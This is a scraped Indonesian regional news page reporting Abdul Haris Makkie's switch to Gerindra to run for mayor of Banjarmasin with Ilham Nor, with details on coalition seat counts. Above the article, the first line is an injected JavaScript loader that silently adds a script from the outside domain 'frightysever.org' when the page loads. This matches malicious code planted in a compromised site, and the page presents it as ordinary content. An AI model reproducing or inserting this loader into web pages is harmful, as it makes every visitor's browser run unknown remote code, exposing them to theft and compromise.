(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Kejutan dihadirkan oleh Abdul Haris Makkie. Setelah melalui lika-liku pencalonan dan drama politik di Partai Golkar, ia mengumumkan maju sebagai bakal calon Wali Kota Banjarmasin yang berpasangan dengan Sekretaris DPD Gerindra Kalimantan Selatan Ilham Nor, di Kantor DPD Gerindra Kalsel, Gambut, Senin (17/8/2020) siang.
“Dengan senang hati saya bergabung dengan Partai Gerindra. Karena seperti diketahui, perjalanan pencalonan kami berliku-liku. Kemudian saya dibukakan pintu bergabung bersama Gerindra dalam pencalonan ini,” kata Haris.
Haris menegaskan, langkahnya untuk maju di Pilkada Banjarmasin tidak dipertentangkan. Menurutnya, di dalam berpolitik adalah sebuah pilihan. “Setelah berpikir dan melalui lika-liku perjalanan dalam pencalonan, akhirnya saya harus memilih dengan senang hati kepada Partai Gerindra,” ucap Haris.
Haris yang kini masih menjabat Ketua PWNU Kalsel sendiri pun berharap dukungan dan restu dari ulama, kiai, Nahdliyin serta tokoh-tokoh agama di Kota Banjarmasin. Agar, dapat bersama-sama membangun Kota Banjarmasin.
Haris Makkie pun mengungkapkan, selain perahu Gerindra, ia memastikan dua partai lainnya yaitu Partai Persatuan Pembangunan (PPP) dan Partai Bulan Bintang (PBB). Untuk diketahui, PPP memperoleh 2 kursi di DPRD Kota Banjarmasin, sementara PBB memperoleh 1 kursi.
Sehingga, dengan 3 kursi tambahan ditambah 6 kursi yang diperoleh Gerindra, sudah cukup untuk mengusung Haris-Ilham di Pilkada Banjarmasin.
Sebelumnya, Haris Makkie sempat diusulkan Golkar Kalsel untuk maju di Pilkada Banjarmasin bersama H Yuni Abdi Nur Sulaiman. Pasangan ini bahkan sempat diusulkan Golkar ke DPP melalui surat No A-054/GOLKAR-KS/V1/2020 tentang Laporan Hasil Pelaksanaan Tahapan Seleksi Bakal Calon Kepala Daerah Partai Golkar di Pilkada 2020, yang dikeluarkan tanggal 26 Juni 2020 lalu.
Pada awalnya, pasangan tersebut diklaim mendapatkan dukungan sejumlah parpol. Mulai PAN Banjarmasin yang memberikan 9 kursi, lalu 6 kursi milik Partai Golkar, PDIP dengan 5 kursi, Nasdem 1 kursi, dan PKS 5 kursi.
Tapi seiring perkembangan terakhir, rekomendasi Golkar dan PAN malah jatuh ke Ananda-Musaffa. Dan Haris Makkie pun akhirnya ‘diselamatkan’ Gerindra Kalsel dipasangkan dengan Ilham Nor. (Kanalkalimantan.com/fikri)
Reporter: Fikri
Editor: Cell
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
This website uses cookies.